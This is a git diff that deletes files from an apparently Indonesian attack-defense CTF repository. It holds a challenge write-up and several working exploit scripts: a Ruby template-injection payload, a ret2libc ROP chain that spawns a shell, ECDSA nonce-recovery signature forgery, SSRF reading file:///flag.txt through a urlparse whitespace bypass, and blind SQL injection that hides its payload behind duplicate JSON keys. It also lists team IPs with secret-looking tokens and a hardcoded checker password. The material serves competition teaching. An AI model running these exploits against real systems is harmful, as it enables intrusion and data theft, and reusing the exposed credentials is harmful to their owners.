removed old files
This commit is contained in:
1 parent
9b1227378d
commit
d42b472b3e
1230 files changed
+28
-288310
No files matched your search
@@ -1,21 +0,0 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2023 rendi
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -1,13 +1,11 @@
|
||||
# wreckit-5.0-final
|
||||
# Gemastik XVIII Cybersecurity Final Round - Attack Defense Repository
|
||||
|
||||
## challenges
|
||||
|
||||
| challenges | author | category |
|
||||
| ---------- | ----------- | -------- |
|
||||
| poke | jagungrebus | web |
|
||||
| wanderer | ZeroEXP | web |
|
||||
| niko | hanz0 | pwn |
|
||||
| blinkpdf | wondPing | crypto |
|
||||
| blogpost | keii | web |
|
||||
| cdn | keii | web |
|
||||
|
||||
## how-to-run
|
||||
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
3 Fidethus 54.179.25.137 Zp4y9X3T1V
|
||||
4 Men Who Cry 54.255.181.131 8F5G7H2Q6R
|
||||
5 bangorkan dulu le 18.143.108.133 C4D5E6F7G8
|
||||
6 me encanta cocinar 54.169.243.246 J3K4L5M6N7
|
||||
7 PETIR - That Time I Got Reincarnated as a WreckIT Player Official 13.212.142.212 P1Q2R3S4T5
|
||||
8 Girls Band Cry 54.179.130.178 V7W8X9Y0Z2
|
||||
9 SNI - FLAVATO 52.221.251.25 OIJA92QOD4
|
||||
10 Big Brain Kidz 18.143.158.116 B5C6D7E8F9
|
||||
11 mas Takumi Silahkan maju untuk membayar tagihan listrik 54.254.232.40 H1I2J3K4L5
|
||||
12 sehad 13.212.60.169 R7S8T9U0V
|
||||
|
||||
|
||||
@@ -1,179 +0,0 @@
|
||||
# Gemastik XVI: Attack-Defense Write-Up
|
||||
|
||||
## art (solved by 18/20 teams)
|
||||
|
||||
#### # Summary
|
||||
Diberikan web service dimana peserta bisa menampilkan sebuah _ASCII art_ sesuai dengan inputan text yang diberikan.
|
||||
|
||||
#### # Attack
|
||||
Terdapat ruby slim _server side template injection_ pada _route_ `/art/:word`. Hal ini terjadi karena parameter `word` di-_concat_ secara langsung tanpa adanya proses sanitasi user input terlebih dahulu.
|
||||
|
||||
```rb
|
||||
get '/art/:word' do
|
||||
return Slim::Template.new{ '<iframe height="100%" width="100%" frameborder="0" src=https://asciified.thelicato.io/api/v2/ascii?text=' + params[:word] + '></iframe>' }.render
|
||||
end
|
||||
```
|
||||
|
||||
#### # Defense
|
||||
Defense dapat dilakukan dengan cara menggunakan [template parameter](https://github.com/slim-template/slim/blob/5f7a7ffe43f3c91c2e63027491349ad1c7bfb507/test/core/test_code_evaluation.rb#L169) pada _framework_ Slim atau [_string interpolation_](https://en.wikipedia.org/wiki/String_interpolation) pada bahasa pemrograman ruby.
|
||||
|
||||
## gemas-fetcher (solved by 9/20 teams)
|
||||
|
||||
#### # Summary
|
||||
Diberikan website yang akan melakukan `request` ke url yang diberikan oleh user menggunakan `curl`, `wget`, dan module python `urllib.request`. Sebelum mengirimkan request, url yang diberikan akan divalidasi terlebih dahulu dengan beberapa pengecekan yang salah satunya adalah pengecekan scheme. Untuk mendapatkan scheme dari url yang diberikan user, backend menggunakan module python `urlparse`. Apabila scheme dari url yang diberikan adalah `file` atau `ftp` maka user akan mendapatkan sebuah erroLine truncated
|
||||
|
||||
#### # Attack
|
||||
Module python urlparse terdapat sebuah CVE (CVE-2023-24329) yang dapat digunakan untuk melakukan bypass pengecekan tersebut. Dengan menambahkan sebuah `whitespace` di depan url, urlparse akan menganggap url yang diberikan tidak memiliki scheme apapun, sehingga pengecekan yang dilakukan dapat dibypass. Dari ke-3 method yang berikan (`curl`, `wget`, `urllib.request`), hanya `urllib.request` yang berhasil digunakan untuk melakukan request dengan url yang memiliki `whitespace` di depannya.
|
||||
|
||||
#### # Defense
|
||||
Cara termudah untuk memitigasi CVE tersebut adalah dengan menghapus `whitespace` yang ada di depan url sebelum melakukan parsing menggunakan `urlparse`.
|
||||
|
||||
## hirnfick (solved by 4/20 teams)
|
||||
|
||||
#### # Summary
|
||||
|
||||
Terdapat sebuah service web dimana peserta dapat menjalankan potongan kode program _esoteric langiuage_ [brainfuck](https://en.wikipedia.org/wiki/Brainfuck). Pada backend, potongan kode brainfuck dijalankan menggunakan sebuah program C yang memiliki celah keamanan Out-of-Bound access (OOB) pada array data. Dengan menggunakan celah tersebut, peserta dapat menugbah alur program sehingga mendapatkan Remote Code Execution.
|
||||
|
||||
_Attachment_ yang diberikan kepada peserta tidak terdapat _source code_ dari program C yang menjalankan kode brainfuck, namun peserta diharapkan dapat menggunakan alat-alat yang tersedia (seperti disassembler atau decompiler) untuk rekonstruksi source code dari sebuah file binary.
|
||||
|
||||
#### # Attack
|
||||
|
||||
```c
|
||||
int debug = 0;
|
||||
char data[1024] = {0};
|
||||
char code[1024] = {0};
|
||||
|
||||
...
|
||||
|
||||
int main() {
|
||||
// get brainfuck code from user input and execute
|
||||
...
|
||||
|
||||
if (debug) {
|
||||
puts(data);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Pada saat eksekusi potongan kode brainfuck, terdapat OOB pada array data[1024]. Dengan celah OOB tersebut, nilai debug dapat diubah menjadi _truthy_/selain _0_ dan fungsi puts()
|
||||
dapat diubah juga menjadi system() dengan mengubah Global Offset Table pada program yang sedang berjalan. Sehingga memungkinkan program untuk mengeksekusi system(data) atau mendapatkan akses _Remote Code Execution_.
|
||||
|
||||
#### # Defense
|
||||
|
||||
Peserta diberikan beberapa opsi untuk melakukan defense:
|
||||
|
||||
1. Patch OOB access yang terdapat pada potongan kode C yang menjalankan kode brainfuck
|
||||
2. Implementasi _brainfuck interpreter_ menggunakan python pada web server
|
||||
|
||||
Pada pengecekan SLA, patch yang diterapkan oleh peserta harus melewati beberapa set pengecekan Input/Output pada _brainfuck interpreter_. Input yang diberikan diambil dari beberapa potongan kode yang terdapat pada laman [Brainfuck Wikipedia](https://en.wikipedia.org/wiki/Brainfuck) dan [Brainfuck Code generator](https://copy.sh/brainfuck/text.html). Jika Output tidak sesuai, maka pengecekan dianggap gagal.
|
||||
|
||||
## burvesigner (solved by 1/20 teams)
|
||||
|
||||
#### # Summary
|
||||
Terdapat web service yang mana peserta dapat melakukan login sebagai role guest. Ketika peserta melakukan login, service akan meng-generate suatu signature yang digunakan sebagai token oleh user tersebut dengan menggunakan algoritme variasi Elliptic Curve Digital Signature Algorithm (ECDSA) dengan kurva [secp112r1](https://neuromancer.sk/std/secg/secp112r1).
|
||||
|
||||
Dikutip dari Wikipedia, berikut proses ECDSA signature generation dilakukan:
|
||||
|
||||

|
||||
|
||||
#### # Attack
|
||||
|
||||
Pada poin ke-3, nonce _k_ yang digunakan pada proses signature generation harus suatu angka secure random. Namun pada challenge ini, nonce yang digunakan oleh service bukanlah nilai secure random, sehingga peserta dapat memanfaatkan kondisi ini untuk melakukan signature forgery dengan role yang berbeda. Peserta harus melakukan signature forgery dengan role admin untuk berhasil mendapatkan flag (attack) tim lain.
|
||||
|
||||
Berikut potongan kode program yang memiliki kerentanan pada proses signature generation:
|
||||
|
||||
```py=
|
||||
def sign(self, msg):
|
||||
self.set_keys()
|
||||
k = (int(time() * 1337) << self.u) + self.v
|
||||
R = k * self.C.G
|
||||
s = (self.hash(msg) - self.x * R.x) * pow(k, -1, self.C.q) % self.C.q
|
||||
sig = b"".join(map(self.to_bytes, [R.x, R.y, s]))
|
||||
return urlsafe_b64encode(sig)
|
||||
```
|
||||
|
||||
Terlihat bahwa nonce _k_ dibangkitkan dengan formula `t * 2^u + v` dimana nilai _t_ memungkinkan untuk di-bruteforce oleh peserta dalam waktu yang singkat, nilai _u_ merupakan konstanta, dan nilai _v_ merupakan random number berukuran _u_ bits.
|
||||
|
||||
Dengan mengumpulkan setidaknya 2 buah signature (melakukan login guest sebanyak 2 kali), maka peserta dapat melakukan eliminasi 2 persamaan untuk mendapatkan nilai nonce _k_ dan private key yang digunakan oleh service.
|
||||
|
||||
#### # Defense
|
||||
|
||||
Dengan mengubah nonce _k_ menjadi nilai secure random, peserta seharusnya sudah berhasil melakukan defense pada service mereka. Sebagai poin tambahan, terdapat implementasi yang kurang tepat pada proses signature generation. Pada proses signature generation, fungsi hash yang digunakan oleh service adalah CRC32.
|
||||
|
||||
```py=
|
||||
def hash(self, msg):
|
||||
return crc32(msg)
|
||||
```
|
||||
|
||||
Hal ini bukanlah best practice mengingat CRC seharusnya hanya digunakan sebagai checksum pada pengecekan integritas suatu data, namun hal ini tetaplah sulit dan kompleks untuk di-exploit dalam durasi yang singkat seperti durasi kompetisi babak final ini. Implementasi yang merupakan best practice adalah dengan menggunakan fungsi hash yang telah teruji aman seperti fungsi hash SHA.
|
||||
|
||||
## xl (solved by 0/20 teams)
|
||||
|
||||
#### # Summary
|
||||
Diberikan web service dimana peserta bisa melakukan convert file excel (xlsx) ke format json.
|
||||
|
||||
#### # Attack
|
||||
Terdapat celah _Local file inclusion_ ketika menggunakan options `type=file` karena tidak ada pengecekan type buffer pada library yang digunakan. Berikut potongan kode dimana _maintainer_ library sudah _aware_ terhadap problem ini tetapi tidak diimplementasikan.
|
||||
|
||||
```js
|
||||
case "file": /*:: if(typeof blob !== 'string') throw "Must pass a filename when type='file'"; */return read_file(blob, options);
|
||||
```
|
||||
|
||||
#### # Defense
|
||||
Peserta dapat melakukan defense dengan berbagai cara, seperti memberikan default value type sebagai buffer atau menghapus parameter options karena parameter options tidak digunakan sama sekali oleh service ini.
|
||||
|
||||
## gemas-notes (solved by 0/20 teams)
|
||||
|
||||
#### # Summary
|
||||
|
||||
Soal terdiri dari 2 microservice:
|
||||
1. **Validation Service**: Service ini digunakan untuk memvalidasi JSON yang dikirim oleh user sebelum dikirimkan ke `gemas-notes` service
|
||||
2. **Gemas Notes (Notes Service)**: *Actual* service yang digunakan untuk mengolah notes (`Create Read Update Delete`)
|
||||
|
||||
Perbedaan *behavior* JSON parser yang digunakan kedua microservice dapat dimanfaatkan untuk mengeksploitasi celah Blind SQL Injection yang terdapat pada service `gemas-notes`.
|
||||
|
||||
#### # Attack
|
||||
|
||||
Apabila terdapat 2 key yang sama dalam sebuah JSON, contohya `{"id":1,"id":2,"data":"halo"}`, module golang `jsonparser` yang digunakan service `gemas-notes` akan selalu menggunakan data yang pertama (id=1), sedangkan module python `jsonschema` yang digunakan `validation-service` untuk melakukan validasi akan selalu menggunakan data yang kedua (id=2). Karena perbedaan _behavior_ ini, peserta dapat memanfaatkannya untuk melakukan _bypass_ terhadap validasi yang dilakukan oleh `validation-serviceLine truncated
|
||||
|
||||
```json!=
|
||||
{
|
||||
"count_by": "title",
|
||||
"keyword": "<SQLi Payload Here>",
|
||||
"keyword": "hehe"
|
||||
}
|
||||
```
|
||||
|
||||
#### # Defense
|
||||
|
||||
Untuk defense, peserta hanya diberikan akses SSH ke service `gemas-notes`, sehingga terdapat 2 hal yang dapat dilakukan:
|
||||
|
||||
1. Mengubah parsing JSON agar tidak menggunakan module `jsonparser`
|
||||
2. Menggunakan prepared statement untuk patch celah SQLi
|
||||
|
||||
## pasta (solved by 0/20 teams)
|
||||
|
||||
#### # Summary
|
||||
|
||||
Terdapat web service dimana peserta dapat melakukan register user dan login user. Ketika user melakukan login, service akan membangkitkan token dengan spesifikasi format yang terinspirasi dari [PASETO](https://paseto.io/).
|
||||
|
||||
Token tersebut selanjutnya dapat digunakan user sebagai mekanisme autorisasi. Jika `role` dari user adalah `admin` maka user akan mendapatkan flag di endpoint `/flag`. Maka, objektif user disini adalah melakukan *signature forgery* agar dapat mengubah token user dari role `user` ke role `admin`.
|
||||
|
||||
#### # Attack
|
||||
|
||||
Dalam implementasi *signing*-nya, service menggunakan algoritma ECDSA dengan metode pembangkitan nonce yang deterministik, yaitu dari hasil `HMAC(d, m)` dimana `d` sebagai HMAC *secret* adalah *private key* dan `m` adalah pesan yang akan di-sign.
|
||||
|
||||
Fungsi hash dan kurva yang digunakan tergantung dari versi token yang dipilih oleh user, dimana:
|
||||
- **version 1**: kurva P-224 dengan SHA-224
|
||||
- **version 2**: kurva P-256 dengan SHA-256
|
||||
- **version 3**: kurva P-384 dengan SHA-384
|
||||
- **version 4**: kurva P-521 dengan SHA-512
|
||||
|
||||
Jika kita perhatikan, version 4 menggunakan kurva **P-521** dan fungsi hash **SHA-512**, dimana jumlah operasi bits yang digunakan berbeda. Hal ini mengakibatkan pembangkitan nonce menggunakan SHA-512 mengalami bias sebanyak 9 bits. Mengutip dari [paper ini](https://eprint.iacr.org/2019/023.pdf), kita dapat melihat masalah ini sebagai *Hidden Number Problem* (HNP) untuk mendapatkan *private key*.
|
||||
|
||||
Dibutuhkan sekitar 100 sampai 110 *signature* dengan `m` yang berbeda untuk mendapatkan *private key* yang akurat dari HNP. Jadi, peserta perlu membuat sebanyak 100 user yang berbeda, lalu login satu per satu menggunakan user tersebut.
|
||||
|
||||
#### # Defense
|
||||
|
||||
Kita dapat memitigasi celah ini dengan menggunakan mekanisme pembangkitan nonce yang terstandarisasi. Untuk deterministic nonce, kita dapat menggunakan [RFC-6979](https://www.rfc-editor.org/rfc/rfc6979) dalam membangkitkan nonce secara aman meskipun fungsi hash menggunakan jumlah bit yang berbeda.
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
import requests, urllib
|
||||
import sys
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 10000
|
||||
|
||||
print(requests.get(f'http://{HOST}:{PORT}/art/' + urllib.parse.quote_plus('#{File.read([47, 102, 108, 97, 103, 46, 116, 120, 116].pack("c*"))}')).text)
|
||||
@@ -1,42 +0,0 @@
|
||||
from pwn import *
|
||||
import sys
|
||||
|
||||
context.arch = 'amd64'
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 22000
|
||||
|
||||
def conn():
|
||||
return remote(HOST, PORT, level='warn')
|
||||
|
||||
def main():
|
||||
global r
|
||||
r = conn()
|
||||
r.recvline()
|
||||
|
||||
junk = b"A" * (0x40 + 8)
|
||||
pop_rdi = p64(0x401243)
|
||||
plt_puts = p64(0x401060)
|
||||
got_puts = p64(0x403fd8)
|
||||
main_addr = p64(0x4011a9)
|
||||
ret = p64(0x40101a)
|
||||
|
||||
payload = junk + pop_rdi + got_puts + plt_puts + main_addr
|
||||
|
||||
r.sendline(payload)
|
||||
leak = u64(r.recvline(False).ljust(8,b"\x00"))
|
||||
libc = leak - 0x84420
|
||||
system = libc + 0x52290
|
||||
binsh = libc + 0x1b45bd
|
||||
# print(f"puts @ {hex(leak)}")
|
||||
# print(f"system @ {hex(system)}")
|
||||
# print(f"binsh @ {hex(binsh)}")
|
||||
|
||||
payload = junk + ret + pop_rdi + p64(binsh) + p64(system) + main_addr
|
||||
r.sendline(payload)
|
||||
r.sendline(b"echo 1337")
|
||||
r.recvuntil(b"1337")
|
||||
r.sendline(b"cat /flag.txt")
|
||||
print(r.recvuntil(b'}').decode().strip())
|
||||
|
||||
main()
|
||||
@@ -1,131 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from fastecdsa.curve import Curve
|
||||
from fastecdsa.point import Point
|
||||
from base64 import urlsafe_b64decode, urlsafe_b64encode
|
||||
from zlib import crc32
|
||||
|
||||
import requests
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 14000
|
||||
|
||||
url = f"http://{HOST}:{PORT}"
|
||||
|
||||
r = requests.get(f"{url}/params").text
|
||||
r = r.replace("<pre>", "").replace("</pre>", "")
|
||||
params = json.loads(r)
|
||||
# print(params)
|
||||
|
||||
C = Curve(
|
||||
"burvesigner",
|
||||
params["p"],
|
||||
params["a"],
|
||||
params["b"],
|
||||
params["n"],
|
||||
params["G"][0],
|
||||
params["G"][1],
|
||||
)
|
||||
G = C.G
|
||||
Y = Point(params["Y"][0], params["Y"][1], C)
|
||||
|
||||
b64p = lambda x: x + b"=" * (-len(x) % 4)
|
||||
b64u = lambda x: x.rstrip(b"=")
|
||||
b64e = lambda x: b64u(urlsafe_b64encode(x))
|
||||
b64d = lambda x: urlsafe_b64decode(b64p(x))
|
||||
|
||||
|
||||
def get_token():
|
||||
r = requests.post(url, data={"username": "guest", "password": "guest"}).cookies
|
||||
return r["token"]
|
||||
|
||||
|
||||
token1 = get_token()
|
||||
token2 = get_token()
|
||||
# print(token1)
|
||||
# print(token2)
|
||||
|
||||
sig1 = token1.split(".")[1]
|
||||
sig2 = token2.split(".")[1]
|
||||
|
||||
t = 112 // 8
|
||||
shift_u = pow(2, 112 - 64)
|
||||
|
||||
|
||||
def from_bytes(data):
|
||||
return int.from_bytes(data, "little")
|
||||
|
||||
|
||||
def to_bytes(num):
|
||||
return int.to_bytes(num, t, "little")
|
||||
|
||||
|
||||
sig1dec = urlsafe_b64decode(sig1)
|
||||
arr1 = [sig1dec[t * i : t * (i + 1)] for i in range(3)]
|
||||
Rx1, Ry1, s1 = map(from_bytes, arr1)
|
||||
|
||||
sig2dec = urlsafe_b64decode(sig2)
|
||||
arr2 = [sig2dec[t * i : t * (i + 1)] for i in range(3)]
|
||||
Rx2, Ry2, s2 = map(from_bytes, arr2)
|
||||
|
||||
R1 = Point(Rx1, Ry1, C)
|
||||
R2 = Point(Rx2, Ry2, C)
|
||||
|
||||
# bf diff
|
||||
for bf in range(1, 2**20):
|
||||
diff = bf * shift_u
|
||||
if R1 + G * diff == R2:
|
||||
# print(bf, diff)
|
||||
break
|
||||
|
||||
|
||||
def apa(msg):
|
||||
return crc32(msg)
|
||||
|
||||
|
||||
def fake_sign(msg, x):
|
||||
k = 555555
|
||||
R = k * C.G
|
||||
s = (apa(msg) - x * R.x) * pow(k, -1, C.q) % C.q
|
||||
sig = b"".join(map(to_bytes, [R.x, R.y, s]))
|
||||
return urlsafe_b64encode(sig)
|
||||
|
||||
|
||||
def dup_verify(msg, sig):
|
||||
assert len(sig) == 4 * t
|
||||
sig = urlsafe_b64decode(sig)
|
||||
arr = [sig[t * i : t * (i + 1)] for i in range(3)]
|
||||
Rx, Ry, s = map(from_bytes, arr)
|
||||
R = Point(Rx, Ry, C)
|
||||
return apa(msg) * C.G == s * R + Y * R.x
|
||||
|
||||
|
||||
payload = b64e(
|
||||
json.dumps(
|
||||
{"user": "admin", "role": "admin", "exp": int(time.time()) + 300}
|
||||
).encode()
|
||||
)
|
||||
|
||||
h1 = apa(token1.split(".")[0].encode())
|
||||
h2 = apa(token2.split(".")[0].encode())
|
||||
h3 = apa(payload)
|
||||
|
||||
k1 = (Rx1 * h2 - Rx1 * s2 * diff - Rx2 * h1) * pow(Rx1 * s2 - s1 * Rx2, -1, C.q) % C.q
|
||||
priv = (h1 - s1 * k1) * pow(Rx1, -1, C.q) % C.q
|
||||
sig3 = fake_sign(payload, priv)
|
||||
# print(k1, priv, to_bytes(priv))
|
||||
|
||||
token3 = payload + b"." + sig3
|
||||
token3 = token3.decode()
|
||||
# print(token3)
|
||||
|
||||
r = requests.get(url, cookies={"token": token3}).text
|
||||
if "flashes" in r:
|
||||
print("failed")
|
||||
exit(1)
|
||||
|
||||
flag = re.findall(r'Welcome, admin! (.+)</p>', r)[0]
|
||||
print(flag)
|
||||
@@ -1,23 +0,0 @@
|
||||
k1 = t1 * 2^shift + junk
|
||||
k2 = (t1 + diff) * 2^shift + junk
|
||||
k2 - k1 = diff (2^shift)
|
||||
|
||||
bf: diff (2^shift)
|
||||
|
||||
for bf in range(...):
|
||||
if R1 + G * bf * (2^shift) == R2:
|
||||
found
|
||||
|
||||
--------------------------------
|
||||
|
||||
s1 (k1) = h1 - r1 x
|
||||
s2 (k1 + diff) = h2 - r2 x
|
||||
|
||||
(h1 - s1 k1) / r1 = x
|
||||
(h2 - s2 k1 - s2 diff) / r2 = x
|
||||
|
||||
(h1 - s1 k1) r2 = (h2 - s2 k1 - s2 diff) r1
|
||||
r2 h1 - r2 s1 k1 = r1 h2 - r1 s2 k1 - r1 s2 diff
|
||||
r1 s2 k1 - r2 s1 k1 = r1 h2 - r1 s2 diff - r2 h1
|
||||
k1 (r1 s2 - s1 r2) = r1 h2 - r1 s2 diff - r2 h1
|
||||
k1 = (r1 h2 - r1 s2 diff - r2 h1) / (r1 s2 - s1 r2)
|
||||
@@ -1,7 +0,0 @@
|
||||
import requests
|
||||
import sys
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 21000
|
||||
|
||||
print(requests.post(f"http://{HOST}:{PORT}/crawlback.php", data={'url': 'file:///flag.txt'}).text)
|
||||
@@ -1,30 +0,0 @@
|
||||
import requests, random, string, base64, gzip, zlib, json, sys
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 16000
|
||||
|
||||
def random_string(length):
|
||||
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
|
||||
return ''.join(random.choice(charset) for i in range(length))
|
||||
|
||||
def exploit():
|
||||
sess = requests.Session()
|
||||
|
||||
## register
|
||||
username = random_string(5)
|
||||
password = random_string(5)
|
||||
r = sess.post(f"http://{HOST}:{PORT}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
|
||||
|
||||
## login
|
||||
r = sess.post(f"http://{HOST}:{PORT}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
|
||||
|
||||
## exploit python
|
||||
content = {"provider": "python","url":" file:///flag.txt"}
|
||||
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||
r = sess.post(f"http://{HOST}:{PORT}/dashboard/fetch_by_file", files=files)
|
||||
b64_string = r.text
|
||||
b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
|
||||
print(base64.b64decode(b64_string).decode())
|
||||
|
||||
if __name__ == "__main__":
|
||||
exploit()
|
||||
@@ -1,54 +0,0 @@
|
||||
import requests
|
||||
|
||||
HOST = "http://localhost:12000"
|
||||
|
||||
def login():
|
||||
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||
return token
|
||||
|
||||
def send_request(payload,token):
|
||||
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
|
||||
if res.status_code == 401:
|
||||
new_token = login()
|
||||
return send_request(payload, new_token)
|
||||
return res.json()["count"], token
|
||||
|
||||
def attack(idx, char):
|
||||
global token
|
||||
|
||||
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) > {ord(char)},31337,0) ORDER BY 1 DESC#"
|
||||
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
|
||||
result,token = send_request(final_payload, token)
|
||||
|
||||
if result == 31337:
|
||||
return True
|
||||
return False
|
||||
|
||||
def solve():
|
||||
charset = "0123456789abcdef"
|
||||
flag = ""
|
||||
idx = 10
|
||||
for i in range(32):
|
||||
lo = 0
|
||||
hi = len(charset)
|
||||
|
||||
while lo <= hi:
|
||||
mid = lo + (hi - lo) // 2
|
||||
char = charset[mid]
|
||||
|
||||
if attack(idx,char):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid - 1
|
||||
|
||||
flag += charset[lo]
|
||||
print(f"CHAR {idx} | {charset[lo]}")
|
||||
idx += 1
|
||||
|
||||
return "WRECKIT50{"+flag+"}"
|
||||
|
||||
if __name__=="__main__":
|
||||
global token
|
||||
token = login()
|
||||
flag = solve()
|
||||
print(flag)
|
||||
@@ -1,37 +0,0 @@
|
||||
import requests
|
||||
|
||||
HOST = "http://localhost:12000"
|
||||
|
||||
def login():
|
||||
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||
return token
|
||||
|
||||
def send_request(payload,token):
|
||||
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
|
||||
if res.status_code == 401:
|
||||
new_token = login()
|
||||
return send_request(payload, new_token)
|
||||
return res.json()["count"], token
|
||||
|
||||
def attack():
|
||||
token = login()
|
||||
charset = "0123456789abcdef"
|
||||
|
||||
flag = ""
|
||||
idx = 10
|
||||
for i in range(32):
|
||||
for c in list(charset):
|
||||
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) = {ord(c)},31337,0) ORDER BY 1 DESC#"
|
||||
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
|
||||
result,token = send_request(final_payload, token)
|
||||
if result == 31337:
|
||||
flag += c
|
||||
idx += 1
|
||||
print(f"[+] CHAR {idx} | {c}")
|
||||
break
|
||||
|
||||
return "WRECKIT50{"+flag+"}"
|
||||
|
||||
if __name__=="__main__":
|
||||
flag = attack()
|
||||
print(flag)
|
||||
@@ -1,33 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from subprocess import check_output
|
||||
from pwn import *
|
||||
|
||||
def execute(payload):
|
||||
with open("payload", "wb") as f:
|
||||
f.write(payload)
|
||||
|
||||
output = check_output(["./hirnfick", "payload"])[13:]
|
||||
return output
|
||||
|
||||
def enc(s):
|
||||
final = b""
|
||||
for c in s:
|
||||
final += b"+" * c
|
||||
final += b">"
|
||||
return final
|
||||
|
||||
payload = b"<" * 0x90
|
||||
payload += b"+" * (0x20)
|
||||
payload += b">"
|
||||
payload += b"+" * (0x5e-0x22)
|
||||
payload += b">"
|
||||
payload += b"---"
|
||||
payload += b">" * (0x90-2-0x20)
|
||||
payload += b"+"
|
||||
payload += b">" * 0x20
|
||||
payload += enc(b"cat /flag.txt")
|
||||
|
||||
# payload += b".>" * 8
|
||||
|
||||
out = execute(payload)
|
||||
print(hexdump(out))
|
||||
@@ -1,85 +0,0 @@
|
||||
import hmac
|
||||
from base64 import urlsafe_b64encode, urlsafe_b64decode
|
||||
from hashlib import sha224, sha256, sha384, sha512
|
||||
from ecdsa import ecdsa, SigningKey, VerifyingKey, NIST256p, NIST224p, NIST384p, NIST521p
|
||||
|
||||
allowed_curve = [
|
||||
NIST224p,
|
||||
NIST256p,
|
||||
NIST384p,
|
||||
NIST521p
|
||||
]
|
||||
|
||||
hashfunc = [
|
||||
sha224,
|
||||
sha256,
|
||||
sha384,
|
||||
sha512
|
||||
]
|
||||
|
||||
key_size = [28, 32, 48, 66]
|
||||
signature_size = [56, 64, 96, 132]
|
||||
|
||||
|
||||
class PastaSigner:
|
||||
def __init__(self, secret: bytes, version: int):
|
||||
self.purpose = 'public'
|
||||
if version > 4 or version < 1:
|
||||
version = 1
|
||||
self.version = version
|
||||
self.hashfunc = hashfunc[self.version - 1]
|
||||
self.key_size = key_size[self.version - 1]
|
||||
self.priv = SigningKey.from_string(secret[:self.key_size], curve=allowed_curve[self.version - 1])
|
||||
|
||||
def serialize(self, data: bytes, sig):
|
||||
token = 'v' + str(self.version) + '.'
|
||||
token += self.purpose + '.'
|
||||
token += urlsafe_b64encode(data + sig).decode().replace('=', '')
|
||||
return token
|
||||
|
||||
def sign(self, data: str):
|
||||
data = data.encode()
|
||||
pub = self.priv.get_verifying_key().to_string()
|
||||
h = self.hashfunc(data + pub).digest()
|
||||
nonce = hmac.new(self.priv.to_string(), data, self.hashfunc).hexdigest()
|
||||
sig = self.priv.sign_digest(h, k=int(nonce, 16))
|
||||
|
||||
return self.serialize(data + pub, sig)
|
||||
|
||||
|
||||
class PastaVerifier:
|
||||
|
||||
def __init__(self, secret):
|
||||
self.purpose = 'public'
|
||||
self.secret = secret
|
||||
|
||||
def deserialize(self, data: bytes):
|
||||
try:
|
||||
version, purpose, payload = data.split(b'.')
|
||||
version = int(version.replace(b'v', b''))
|
||||
if version > 4 or version < 1:
|
||||
return False
|
||||
self.version = version
|
||||
self.hashfunc = hashfunc[self.version - 1]
|
||||
self.key_size = key_size[self.version - 1]
|
||||
self.priv = SigningKey.from_string(self.secret[:self.key_size], curve=allowed_curve[self.version - 1])
|
||||
|
||||
raw_data = urlsafe_b64decode(payload + (b'==' * 2))
|
||||
size = signature_size[self.version - 1]
|
||||
signature = raw_data[-size:]
|
||||
public_key = raw_data[-size * 2:-size]
|
||||
message = raw_data[:-size]
|
||||
|
||||
return message, public_key, signature
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def verify(self, token: str):
|
||||
deserialized = self.deserialize(token.encode())
|
||||
if deserialized:
|
||||
message, _, signature = deserialized
|
||||
h = self.hashfunc(message).digest()
|
||||
verifier = self.priv.get_verifying_key()
|
||||
return verifier.verify_digest(signature, h)
|
||||
|
||||
return False
|
||||
@@ -1,129 +0,0 @@
|
||||
import json
|
||||
import os
|
||||
import requests
|
||||
from sage.all import *
|
